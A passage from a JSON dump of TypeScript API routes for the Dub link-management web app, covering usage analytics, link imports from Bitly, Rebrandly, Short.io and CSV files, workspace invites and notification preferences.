    "content": "import { formatUTCDateTimeClickhouse } from \"@/lib/analytics/utils/format-utc-datetime-clickhouse\";\nimport { getStartEndDates } from \"@/lib/analytics/utils/get-start-end-dates\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { tb } from \"@/lib/tinybird\";\nimport { usageQuerySchema, usageResponse } from \"@/lib/zod/schemas/usage\";\nimport { prisma } from \"@dub/prisma\";\nimport { subYears } from \"date-fns\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\nexport const GET = withWorkspace(\n  async ({ searchParams, workspace }) => {\n    const {\n      resource,\n      folderId,\n      domain,\n      groupBy,\n      interval,\n      start,\n      end,\n      timezone,\n    } = usageQuerySchema.parse(searchParams);\n\n    const pipe = tb.buildPipe({\n      pipe: \"v3_usage\",\n      // we extend this here since we don't need to include all the additional parameters\n      // in the actual request query schema\n      parameters: usageQuerySchema.extend({\n        workspaceId: z.string(),\n      }),\n      data: usageResponse,\n    });\n\n    const { startDate, endDate } = getStartEndDates({\n      interval,\n      start,\n      end,\n      dataAvailableFrom: subYears(new Date(), 1),\n      timezone,\n    });\n\n    const response = await pipe({\n      resource,\n      workspaceId: workspace.id,\n      start: formatUTCDateTimeClickhouse(startDate),\n      end: formatUTCDateTimeClickhouse(endDate),\n      timezone,\n      ...(folderId && { folderId }),\n      ...(domain && { domain }),\n      ...(groupBy && { groupBy }),\n    });\n\n    let data = response.data;\n\n    if (groupBy) {\n      const dates = [...new Set(response.data.map((d) => d.date))];\n      const groupIds = [...new Set(response.data.map((d) => d[groupBy] ?? \"\"))];\n\n      const where = {\n        projectId: workspace.id,\n        id: {\n          in: groupIds,\n        },\n      };\n\n      const groupMeta = await (groupBy === \"folder_id\"\n        ? prisma.folder.findMany({\n            select: {\n              id: true,\n              name: true,\n            },\n            where,\n          })\n        : prisma.domain.findMany({\n            select: {\n              id: true,\n              slug: true,\n            },\n            where,\n          }));\n\n      data = dates.map((date) => {\n        const groups = groupIds.map((groupId) => ({\n          id: groupId,\n          name:\n            groupMeta.find((g) => g.id === groupId)?.[\n              groupBy === \"folder_id\" ? \"name\" : \"slug\"\n            ] ?? groupId,\n          usage: sum(\n            response.data\n              .filter((d) => d.date === date && d[groupBy] === groupId)\n              .map((d) => d.value),\n          ),\n        }));\n\n        return {\n          date,\n          value: sum(groups.map((g) => g.usage)),\n          groups,\n        };\n      });\n    }\n\n    return NextResponse.json(data);\n  },\n  {\n    requiredPermissions: [\"workspaces.read\"],\n  },\n);\n\nconst sum = (arr: number[]) => arr.reduce((acc, curr) => acc + curr, 0);\n"
  },
  {
    "path": "apps/web/app/api/workspaces/[idOrSlug]/import/[importId]/download/route.ts",
    "content": "import { convertToCSV } from \"@/lib/analytics/utils\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { getImportErrorLogs } from \"@/lib/tinybird/get-import-error-logs\";\n\n// GET /api/workspaces/[idOrSlug]/import/[importId]/download - download the import logs as CSV\nexport const GET = withWorkspace(async ({ workspace, params }) => {\n  const { importId } = params;\n\n  const importErrorLogs = await getImportErrorLogs({\n    workspaceId: workspace.id,\n    importId,\n  });\n\n  const csvData = convertToCSV(\n    importErrorLogs.data.map((log) => ({\n      entity: log.entity,\n      entityId: log.entity_id,\n      code: log.code,\n      message: log.message,\n    })),\n  );\n\n  return new Response(csvData, {\n    headers: {\n      \"Content-Type\": \"text/csv\",\n      \"Content-Disposition\": `attachment; filename=import_error_logs_${importId}.csv`,\n    },\n  });\n});\n"
  },
  {
    "path": "apps/web/app/api/workspaces/[idOrSlug]/import/bitly/route.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { addDomainToVercel } from \"@/lib/api/domains/add-domain-vercel\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { bulkCreateLinks } from \"@/lib/api/links\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { qstash } from \"@/lib/cron\";\nimport { BitlyGroupProps } from \"@/lib/types\";\nimport { redis } from \"@/lib/upstash\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/workspaces/[idOrSlug]/import/bitly – get all bitly groups for a workspace\nexport const GET = withWorkspace(async ({ workspace }) => {\n  const accessToken = await redis.get(`import:bitly:${workspace.id}`);\n  if (!accessToken) {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message: \"No Bitly access token found\",\n    });\n  }\n  const response = await fetch(`https://api-ssl.bitly.com/v4/groups`, {\n    headers: {\n      \"Content-Type\": \"application/json\",\n      Authorization: `Bearer ${accessToken}`,\n    },\n  });\n  const data = await response.json();\n  if (data.message === \"FORBIDDEN\") {\n    throw new DubApiError({\n      code: \"unauthorized\",\n      message: \"Invalid Bitly access token\",\n    });\n  }\n\n  const groups = data.groups\n    // filter for active groups only\n    .filter(({ is_active }) => is_active) as BitlyGroupProps[];\n\n  const groupsWithTags = await Promise.all(\n    groups.map(async (group) => ({\n      ...group,\n      tags: await fetch(\n        `https://api-ssl.bitly.com/v4/groups/${group.guid}/tags`,\n        {\n          headers: {\n            \"Content-Type\": \"application/json\",\n            Authorization: `Bearer ${accessToken}`,\n          },\n        },\n      )\n        .then((r) => r.json())\n        .then((r) => r.tags),\n    })),\n  ).then((g) => g.filter(({ bsds }) => bsds.length > 0));\n\n  return NextResponse.json(groupsWithTags);\n});\n\n// POST /api/workspaces/[idOrSlug]/import/bitly - create job to import links from bitly\nexport const POST = withWorkspace(\n  async ({ req, workspace, session }) => {\n    const { selectedDomains, selectedGroupTags, folderId } = await req.json();\n\n    const domains = await prisma.domain.findMany({\n      where: { projectId: workspace.id },\n      select: { slug: true },\n    });\n\n    // check if there are domains that are not in the workspace\n    // if yes, add them to the workspace\n    const domainsNotInWorkspace = selectedDomains.filter(\n      ({ domain }) => !domains?.find((d) => d.slug === domain),\n    );\n\n    if (domainsNotInWorkspace.length > 0) {\n      await Promise.allSettled([\n        prisma.domain.createMany({\n          data: domainsNotInWorkspace.map(({ domain }) => ({\n            id: createId({ prefix: \"dom_\" }),\n            slug: domain,\n            projectId: workspace.id,\n            primary: false,\n          })),\n          skipDuplicates: true,\n        }),\n        domainsNotInWorkspace.flatMap(({ domain }) =>\n          addDomainToVercel(domain),\n        ),\n      ]);\n      await bulkCreateLinks({\n        links: domainsNotInWorkspace.map(({ domain }) => ({\n          domain,\n          key: \"_root\",\n          url: \"\",\n          userId: session?.user?.id,\n          projectId: workspace.id,\n          folderId,\n        })),\n      });\n    }\n\n    // convert data to array of groups with their respective domains\n    const groups = selectedDomains.reduce((result, { domain, bitlyGroup }) => {\n      const existingGroup = result.find(\n        (item) => item.bitlyGroup === bitlyGroup,\n      );\n      if (existingGroup) {\n        existingGroup.domains.push(domain);\n      } else {\n        result.push({\n          bitlyGroup,\n          domains: [domain],\n          importTags: selectedGroupTags.includes(bitlyGroup),\n        });\n      }\n      return result;\n    }, []);\n\n    const response = await Promise.all(\n      groups\n        // only add groups that have at least 1 domain selected for import\n        .filter(({ domains }) => domains.length > 0)\n        .map(({ bitlyGroup, domains, importTags }) =>\n          qstash.publishJSON({\n            url: `${APP_DOMAIN_WITH_NGROK}/api/cron/import/bitly`,\n            body: {\n              workspaceId: workspace.id,\n              userId: session?.user?.id,\n              bitlyGroup,\n              domains,\n              importTags,\n              folderId,\n            },\n          }),\n        ),\n    );\n    return NextResponse.json(response);\n  },\n  {\n    requiredPermissions: [\"links.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/workspaces/[idOrSlug]/import/csv/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { qstash } from \"@/lib/cron\";\nimport { verifyFolderAccess } from \"@/lib/folder/permissions\";\nimport { redis } from \"@/lib/upstash\";\nimport { linkMappingSchema } from \"@/lib/zod/schemas/import-csv\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\nimport Papa from \"papaparse\";\nimport { v4 as uuid } from \"uuid\";\n\n// POST /api/workspaces/[idOrSlug]/import/csv - create job to import links from CSV file\nexport const POST = withWorkspace(\n  async ({ req, workspace, session }) => {\n    const formData = await req.formData();\n\n    const file = formData.get(\"file\") as File;\n    const folderId = formData.get(\"folderId\") as string | null;\n\n    if (!file) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"No CSV file was provided.\",\n      });\n    }\n\n    if (folderId) {\n      await verifyFolderAccess({\n        workspace,\n        userId: session.user.id,\n        folderId,\n        requiredPermission: \"folders.links.write\",\n      });\n    }\n\n    const mapping = linkMappingSchema.parse(\n      Object.fromEntries(\n        Array.from(formData.entries()).filter(\n          ([key]) => key !== \"file\" && key !== \"folderId\",\n        ),\n      ) as Record<string, string>,\n    );\n\n    const id = uuid();\n    const redisKey = `import:csv:${workspace.id}:${id}`;\n    const BATCH_SIZE = 1000; // Push 1000 rows to Redis at a time\n    let rows: Record<string, string>[] = [];\n\n    // Convert file to text\n    const csvText = await file.text();\n\n    // Parse CSV and add rows to Redis\n    await new Promise<void>((resolve, reject) => {\n      Papa.parse(csvText, {\n        header: true,\n        skipEmptyLines: true,\n        step: async (results) => {\n          rows.push(results.data as Record<string, string>);\n\n          if (rows.length >= BATCH_SIZE) {\n            try {\n              await redis.lpush(`${redisKey}:rows`, ...rows);\n              rows = [];\n            } catch (error) {\n              reject(error);\n            }\n          }\n        },\n        complete: () => resolve(),\n        error: reject,\n      });\n    });\n\n    // Add any remaining rows to Redis\n    if (rows.length > 0) {\n      await redis.lpush(`${redisKey}:rows`, ...rows);\n    }\n\n    // Initialize Redis counters\n    await Promise.all([\n      redis.set(`${redisKey}:created`, \"0\"),\n      redis.set(`${redisKey}:processed`, \"0\"),\n    ]);\n\n    await qstash.publishJSON({\n      url: `${APP_DOMAIN_WITH_NGROK}/api/cron/import/csv`,\n      body: {\n        workspaceId: workspace.id,\n        userId: session?.user?.id,\n        id,\n        folderId,\n        mapping,\n      },\n    });\n\n    return NextResponse.json({});\n  },\n  {\n    requiredPermissions: [\"links.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/workspaces/[idOrSlug]/import/rebrandly/route.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { addDomainToVercel } from \"@/lib/api/domains/add-domain-vercel\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { bulkCreateLinks } from \"@/lib/api/links\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { qstash } from \"@/lib/cron\";\nimport { verifyFolderAccess } from \"@/lib/folder/permissions\";\nimport { redis } from \"@/lib/upstash\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/workspaces/[idOrSlug]/import/rebrandly – get all Rebrandly domains for a workspace\nexport const GET = withWorkspace(async ({ workspace }) => {\n  const accessToken = await redis.get(`import:rebrandly:${workspace.id}`);\n  if (!accessToken) {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message: \"No Rebrandly access token found\",\n    });\n  }\n\n  const response = await fetch(`https://api.rebrandly.com/v1/domains`, {\n    headers: {\n      \"Content-Type\": \"application/json\",\n      apikey: accessToken as string,\n    },\n  });\n  if (!response.ok) {\n    const error = await response.text();\n    if (error === \"Unauthorized\") {\n      // delete the access token\n      await redis.del(`import:rebrandly:${workspace.id}`);\n      throw new DubApiError({\n        code: \"unauthorized\",\n        message: \"Invalid Rebrandly access token\",\n      });\n    }\n    throw new DubApiError({\n      code: \"bad_request\",\n      message: error,\n    });\n  }\n  const data = await response.json();\n\n  const domains = await Promise.all(\n    data\n      .filter(({ fullName }) => fullName !== \"rebrand.ly\")\n      .map(async ({ id, fullName }: { id: number; fullName: string }) => ({\n        id,\n        domain: fullName,\n        links: await fetch(\n          `https://api.rebrandly.com/v1/links/count?domain.id=${id}`,\n          {\n            headers: {\n              \"Content-Type\": \"application/json\",\n              apikey: accessToken as string,\n            },\n          },\n        )\n          .then((r) => r.json())\n          .then((data) => data.count)\n          .catch(() => 0),\n      })),\n  );\n\n  const tagsCount = await fetch(\"https://api.rebrandly.com/v1/tags/count\", {\n    headers: {\n      \"Content-Type\": \"application/json\",\n      apikey: accessToken as string,\n    },\n  })\n    .then((r) => r.json())\n    .then((data) => data.count);\n\n  return NextResponse.json({ domains, tagsCount });\n});\n\n// PUT /api/workspaces/[idOrSlug]/import/rebrandly - save Rebrandly API key\nexport const PUT = withWorkspace(\n  async ({ req, workspace }) => {\n    const { apiKey } = await req.json();\n    const response = await redis.set(\n      `import:rebrandly:${workspace.id}`,\n      apiKey,\n    );\n    return NextResponse.json(response);\n  },\n  {\n    requiredPermissions: [\"links.write\"],\n  },\n);\n\n// POST /api/workspaces/[idOrSlug]/import/rebrandly - create job to import links from Rebrandly\nexport const POST = withWorkspace(\n  async ({ req, workspace, session }) => {\n    const { selectedDomains, importTags, folderId, createdAfter } =\n      await req.json();\n\n    if (folderId) {\n      await verifyFolderAccess({\n        workspace,\n        userId: session.user.id,\n        folderId,\n        requiredPermission: \"folders.links.write\",\n      });\n    }\n\n    const domains = await prisma.domain.findMany({\n      where: { projectId: workspace.id },\n      select: { slug: true },\n    });\n\n    // check if there are domains that are not in the workspace\n    // if yes, add them to the workspace\n    const domainsNotInWorkspace = selectedDomains.filter(\n      ({ domain }) => !domains?.find((d) => d.slug === domain),\n    );\n    if (domainsNotInWorkspace.length > 0) {\n      await Promise.allSettled([\n        prisma.domain.createMany({\n          data: domainsNotInWorkspace.map(({ domain }) => ({\n            id: createId({ prefix: \"dom_\" }),\n            slug: domain,\n            projectId: workspace.id,\n            primary: false,\n          })),\n          skipDuplicates: true,\n        }),\n        domainsNotInWorkspace.map(({ domain }) => addDomainToVercel(domain)),\n      ]);\n      await bulkCreateLinks({\n        links: domainsNotInWorkspace.map(({ domain }) => ({\n          domain,\n          key: \"_root\",\n          url: \"\",\n          folderId,\n          userId: session?.user?.id,\n          projectId: workspace.id,\n        })),\n      });\n    }\n\n    const response = await Promise.all(\n      selectedDomains.map(({ id, domain }) =>\n        qstash.publishJSON({\n          url: `${APP_DOMAIN_WITH_NGROK}/api/cron/import/rebrandly`,\n          body: {\n            workspaceId: workspace.id,\n            userId: session?.user?.id,\n            domainId: id,\n            domain,\n            folderId,\n            importTags,\n            ...(createdAfter && { createdAfter }),\n          },\n        }),\n      ),\n    );\n    return NextResponse.json(response);\n  },\n  {\n    requiredPermissions: [\"links.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/workspaces/[idOrSlug]/import/short/route.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { addDomainToVercel } from \"@/lib/api/domains/add-domain-vercel\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { bulkCreateLinks } from \"@/lib/api/links\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { qstash } from \"@/lib/cron\";\nimport { verifyFolderAccess } from \"@/lib/folder/permissions\";\nimport { redis } from \"@/lib/upstash\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN_WITH_NGROK, fetchWithTimeout } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/workspaces/[idOrSlug]/import/short – get all short.io domains for a workspace\nexport const GET = withWorkspace(async ({ workspace }) => {\n  const accessToken = await redis.get(`import:short:${workspace.id}`);\n  if (!accessToken) {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message: \"No Short.io access token found\",\n    });\n  }\n\n  const response = await fetch(`https://api.short.io/api/domains`, {\n    headers: {\n      \"Content-Type\": \"application/json\",\n      Authorization: accessToken as string,\n    },\n  });\n  const data = await response.json();\n  if (data.error === \"Unauthorized\") {\n    // delete the access token\n    await redis.del(`import:short:${workspace.id}`);\n    throw new DubApiError({\n      code: \"unauthorized\",\n      message: \"Invalid Short.io access token\",\n    });\n  }\n\n  const domains = await Promise.all(\n    data\n      .filter(\n        // exclude default short.io domains\n        ({ hostname }: { hostname: string }) => !hostname.endsWith(\".short.gy\"),\n      )\n      .map(async ({ id, hostname }: { id: number; hostname: string }) => ({\n        id,\n        domain: hostname,\n        links: await fetchWithTimeout(\n          `https://api-v2.short.cm/statistics/domain/${id}?period=total`,\n          {\n            headers: {\n              \"Content-Type\": \"application/json\",\n              Authorization: accessToken as string,\n            },\n          },\n        )\n          .then((r) => r.json())\n          .then((data) => data.links - 1) // subtract 1 to exclude root domain\n          .catch(() => 0),\n      })),\n  );\n\n  return NextResponse.json(domains);\n});\n\n// PUT /api/workspaces/[idOrSlug]/import/short - save Short.io API key\nexport const PUT = withWorkspace(\n  async ({ req, workspace }) => {\n    const { apiKey } = await req.json();\n    const response = await redis.set(`import:short:${workspace.id}`, apiKey);\n    return NextResponse.json(response);\n  },\n  {\n    requiredPermissions: [\"links.write\"],\n  },\n);\n\n// POST /api/workspaces/[idOrSlug]/import/short - create job to import links from Short.io\nexport const POST = withWorkspace(\n  async ({ req, workspace, session }) => {\n    const { selectedDomains, importTags, folderId } = await req.json();\n\n    if (folderId) {\n      await verifyFolderAccess({\n        workspace,\n        userId: session.user.id,\n        folderId,\n        requiredPermission: \"folders.links.write\",\n      });\n    }\n\n    const domains = await prisma.domain.findMany({\n      where: { projectId: workspace.id },\n      select: { slug: true },\n    });\n\n    // check if there are domains that are not in the workspace\n    // if yes, add them to the workspace\n    const domainsNotInWorkspace = selectedDomains.filter(\n      ({ domain }) => !domains?.find((d) => d.slug === domain),\n    );\n    if (domainsNotInWorkspace.length > 0) {\n      await Promise.allSettled([\n        prisma.domain.createMany({\n          data: domainsNotInWorkspace.map(({ domain }) => ({\n            id: createId({ prefix: \"dom_\" }),\n            slug: domain,\n            projectId: workspace.id,\n            primary: false,\n          })),\n          skipDuplicates: true,\n        }),\n        domainsNotInWorkspace.map(({ domain }) => addDomainToVercel(domain)),\n      ]);\n      await bulkCreateLinks({\n        links: domainsNotInWorkspace.map(({ domain }) => ({\n          domain,\n          key: \"_root\",\n          url: \"\",\n          userId: session?.user?.id,\n          projectId: workspace.id,\n          folderId,\n        })),\n      });\n    }\n\n    const response = await Promise.all(\n      selectedDomains.map(({ id, domain }) =>\n        qstash.publishJSON({\n          url: `${APP_DOMAIN_WITH_NGROK}/api/cron/import/short`,\n          body: {\n            workspaceId: workspace.id,\n            userId: session?.user?.id,\n            domainId: id,\n            domain,\n            folderId,\n            importTags,\n          },\n        }),\n      ),\n    );\n    return NextResponse.json(response);\n  },\n  {\n    requiredPermissions: [\"links.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/workspaces/[idOrSlug]/invites/accept/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { assertRoleAllowedForPlan } from \"@/lib/api/workspaces/assert-role-plan\";\nimport { onboardingStepCache } from \"@/lib/api/workspaces/onboarding-step-cache\";\nimport { withSession } from \"@/lib/auth\";\nimport { exceededLimitError } from \"@/lib/exceeded-limit-error\";\nimport { PlanProps } from \"@/lib/types\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// POST /api/workspaces/[idOrSlug]/invites/accept – accept a workspace invite\nexport const POST = withSession(async ({ session, params }) => {\n  const { idOrSlug: slug } = params;\n\n  const invite = await prisma.projectInvite.findFirst({\n    where: {\n      email: session.user.email,\n      project: {\n        slug,\n      },\n    },\n  });\n\n  if (!invite) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: \"This invite is not found.\",\n    });\n  }\n\n  if (invite.expires < new Date()) {\n    throw new DubApiError({\n      code: \"invite_expired\",\n      message: \"This invite has expired.\",\n    });\n  }\n\n  const workspace = await prisma.$transaction(async (tx) => {\n    const existingMembership = await tx.projectUsers.findFirst({\n      where: {\n        userId: session.user.id,\n        projectId: invite.projectId,\n      },\n    });\n\n    if (existingMembership) {\n      throw new DubApiError({\n        code: \"conflict\",\n        message: \"You are already a member of this workspace.\",\n      });\n    }\n\n    const workspace = await tx.project.findUniqueOrThrow({\n      where: {\n        id: invite.projectId,\n      },\n      select: {\n        id: true,\n        slug: true,\n        plan: true,\n        usersLimit: true,\n        _count: {\n          select: {\n            users: {\n              where: {\n                user: {\n                  isMachine: false,\n                },\n              },\n            },\n          },\n        },\n      },\n    });\n\n    if (workspace._count.users >= workspace.usersLimit) {\n      throw new DubApiError({\n        code: \"exceeded_limit\",\n        message: exceededLimitError({\n          plan: workspace.plan as PlanProps,\n          limit: workspace.usersLimit,\n          type: \"users\",\n        }),\n      });\n    }\n\n    assertRoleAllowedForPlan({\n      role: invite.role,\n      plan: workspace.plan,\n    });\n\n    await tx.projectUsers.create({\n      data: {\n        userId: session.user.id,\n        role: invite.role,\n        projectId: workspace.id,\n        notificationPreference: {\n          create: {}, // by default, users are opted in to all notifications\n        },\n      },\n    });\n\n    // Delete invite inside transaction to ensure consistency\n    await tx.projectInvite.delete({\n      where: {\n        email_projectId: {\n          email: session.user.email,\n          projectId: workspace.id,\n        },\n      },\n    });\n\n    return workspace;\n  });\n\n  // Update default workspace\n  if (!session.user.defaultWorkspace) {\n    await prisma.user.update({\n      where: {\n        id: session.user.id,\n      },\n      data: {\n        defaultWorkspace: workspace.slug,\n      },\n    });\n  }\n\n  await onboardingStepCache.set({\n    userId: session.user.id,\n    step: \"completed\",\n  });\n\n  return NextResponse.json({ message: \"Invite accepted.\" });\n});\n"
  },
  {
    "path": "apps/web/app/api/workspaces/[idOrSlug]/invites/decline/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { withSession } from \"@/lib/auth\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// POST /api/workspaces/[idOrSlug]/invites/decline – decline a workspace invite\nexport const POST = withSession(async ({ session, params }) => {\n  const { idOrSlug: slug } = params;\n\n  const invite = await prisma.projectInvite.findFirst({\n    where: {\n      email: session.user.email,\n      project: {\n        slug,\n      },\n    },\n  });\n\n  if (!invite) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: \"This invite is not found.\",\n    });\n  }\n\n  await prisma.projectInvite.delete({\n    where: {\n      email_projectId: {\n        email: session.user.email,\n        projectId: invite.projectId,\n      },\n    },\n  });\n\n  return NextResponse.json({ message: \"Invite declined.\" });\n});\n"
  },
  {
    "path": "apps/web/app/api/workspaces/[idOrSlug]/invites/reset/route.ts",
    "content": "import { withWorkspace } from \"@/lib/auth\";\nimport { prisma } from \"@dub/prisma\";\nimport { nanoid } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\n\nexport const POST = withWorkspace(\n  async ({ workspace }) => {\n    const response = await prisma.project.update({\n      where: {\n        id: workspace.id,\n      },\n      data: {\n        inviteCode: nanoid(24),\n      },\n    });\n\n    return NextResponse.json(response);\n  },\n  {\n    requiredPermissions: [\"workspaces.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/workspaces/[idOrSlug]/invites/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { inviteUser } from \"@/lib/api/users\";\nimport { assertRoleAllowedForPlan } from \"@/lib/api/workspaces/assert-role-plan\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { exceededLimitError } from \"@/lib/exceeded-limit-error\";\nimport { ratelimit, redis } from \"@/lib/upstash\";\nimport { inviteTeammatesSchema } from \"@/lib/zod/schemas/invites\";\nimport {\n  getWorkspaceUsersQuerySchema,\n  workspaceUserSchema,\n} from \"@/lib/zod/schemas/workspaces\";\nimport { prisma } from \"@dub/prisma\";\nimport { WorkspaceRole } from \"@dub/prisma/client\";\nimport { pluralize } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// GET /api/workspaces/[idOrSlug]/invites – get invites for a specific workspace\nexport const GET = withWorkspace(\n  async ({ workspace, searchParams }) => {\n    const { search, role } = getWorkspaceUsersQuerySchema.parse(searchParams);\n\n    const invites = await prisma.projectInvite.findMany({\n      where: {\n        projectId: workspace.id,\n        role,\n        ...(search && {\n          email: { contains: search },\n        }),\n      },\n    });\n\n    const parsedInvites = invites.map((invite) =>\n      workspaceUserSchema.parse({\n        ...invite,\n        id: `${workspace.id}-${invite.email}`, // workspace ID + invite email for the dummy invite\n        name: invite.email,\n      }),\n    );\n\n    return NextResponse.json(parsedInvites);\n  },\n  {\n    requiredPermissions: [\"workspaces.read\"],\n  },\n);\n\n// POST /api/workspaces/[idOrSlug]/invites – invite a teammate\nexport const POST = withWorkspace(\n  async ({ req, workspace, session }) => {\n    const { teammates } = inviteTeammatesSchema.parse(await req.json());\n\n    for (const teammate of teammates) {\n      assertRoleAllowedForPlan({\n        role: teammate.role,\n        plan: workspace.plan,\n      });\n    }\n\n    const { success } = await ratelimit(1, \"1 s\").limit(\n      `workspace-invites:${workspace.id}`,\n    );\n\n    if (!success) {\n      throw new DubApiError({\n        code: \"rate_limit_exceeded\",\n        message:\n          \"You've reached the rate limit for inviting teammates. Please try again later after few seconds.\",\n      });\n    }\n\n    if (teammates.length > 10) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"You can only invite up to 10 teammates at a time.\",\n      });\n    }\n\n    const [alreadyInWorkspace, workspaceUserCount, workspaceInviteCount] =\n      await Promise.all([\n        prisma.projectUsers.findMany({\n          where: {\n            projectId: workspace.id,\n            user: {\n              email: {\n                in: teammates.map(({ email }) => email),\n              },\n            },\n          },\n          select: {\n            user: {\n              select: {\n                email: true,\n              },\n            },\n          },\n        }),\n\n        prisma.projectUsers.count({\n          where: {\n            projectId: workspace.id,\n            user: {\n              isMachine: false,\n            },\n          },\n        }),\n\n        prisma.projectInvite.count({\n          where: {\n            projectId: workspace.id,\n          },\n        }),\n      ]);\n\n    // Check if any of the emails are already in the workspace\n    if (alreadyInWorkspace.length > 0) {\n      const emailsInWorkspace = alreadyInWorkspace.map(\n        (user) => user.user.email,\n      );\n\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: `${pluralize(\"User\", emailsInWorkspace.length)} ${emailsInWorkspace.join(\", \")} already exists in this workspace.`,\n      });\n    }\n\n    if (\n      workspaceUserCount + workspaceInviteCount + teammates.length >\n      workspace.usersLimit\n    ) {\n      throw new DubApiError({\n        code: \"exceeded_limit\",\n        message: exceededLimitError({\n          plan: workspace.plan,\n          limit: workspace.usersLimit,\n          type: \"users\",\n        }),\n      });\n    }\n\n    // Delete saved invites\n    await redis.del(`invites:${workspace.id}`);\n\n    // We could update inviteUser to accept multiple emails but it's not trivial\n    const results = await Promise.allSettled(\n      teammates.map(({ email, role }) =>\n        inviteUser({\n          email,\n          role,\n          workspace,\n          session,\n        }),\n      ),\n    );\n\n    if (results.some((result) => result.status === \"rejected\")) {\n      const failedInvites = results.filter(\n        (result): result is PromiseRejectedResult =>\n          result.status === \"rejected\",\n      );\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: `Failed to send ${pluralize(\"invitation\", failedInvites.length)}: ${failedInvites.map((result) => result.reason.message).join(\", \")}`,\n      });\n    }\n\n    return NextResponse.json({ message: \"Invite(s) sent\" });\n  },\n  {\n    requiredPermissions: [\"workspaces.write\"],\n  },\n);\n\nconst updateInviteRoleSchema = z.object({\n  email: z.email(),\n  role: z.enum(WorkspaceRole),\n});\n\n// PATCH /api/workspaces/[idOrSlug]/invites - update an invite's role\nexport const PATCH = withWorkspace(\n  async ({ req, workspace }) => {\n    const { email, role } = updateInviteRoleSchema.parse(await req.json());\n\n    assertRoleAllowedForPlan({\n      role,\n      plan: workspace.plan,\n    });\n\n    const invite = await prisma.projectInvite.findUnique({\n      where: {\n        email_projectId: {\n          email,\n          projectId: workspace.id,\n        },\n      },\n    });\n\n    if (!invite) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: \"The invitation you're trying to update was not found.\",\n      });\n    }\n\n    const response = await prisma.projectInvite.update({\n      where: {\n        email_projectId: {\n          email,\n          projectId: workspace.id,\n        },\n      },\n      data: {\n        role,\n      },\n    });\n\n    return NextResponse.json(response);\n  },\n  {\n    requiredPermissions: [\"workspaces.write\"],\n  },\n);\n\n// DELETE /api/workspaces/[idOrSlug]/invites – delete a pending invite\nexport const DELETE = withWorkspace(\n  async ({ searchParams, workspace }) => {\n    const { email } = z\n      .object({\n        email: z.email(),\n      })\n      .parse(searchParams);\n\n    const response = await prisma.projectInvite.delete({\n      where: {\n        email_projectId: {\n          email,\n          projectId: workspace.id,\n        },\n      },\n    });\n\n    return NextResponse.json(response);\n  },\n  {\n    requiredPermissions: [\"workspaces.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/workspaces/[idOrSlug]/notification-preferences/route.ts",
    "content": "import { withWorkspace } from \"@/lib/auth\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/workspaces/[idOrSlug]/notification-preferences – get notification preferences for a workspace for the current user\nexport const GET = withWorkspace(async ({ workspace, session }) => {\n  const response = await prisma.notificationPreference.findFirstOrThrow({\n    select: {\n      domainConfigurationUpdates: true,\n      linkUsageSummary: true,\n      newPartnerSale: true,\n      newBountySubmitted: true,\n      newMessageFromPartner: true,\n      newPartnerApplication: true,\n      pendingApplicationsSummary: true,\n      fraudEventsSummary: true,\n    },\n    where: {\n      projectUser: {\n        userId: session.user.id,\n        projectId: workspace.id,\n      },\n    },\n  });\n\n  return NextResponse.json(response);\n});\n"
  },
  {
    "path": "apps/web/app/api/workspaces/[idOrSlug]/route.ts",
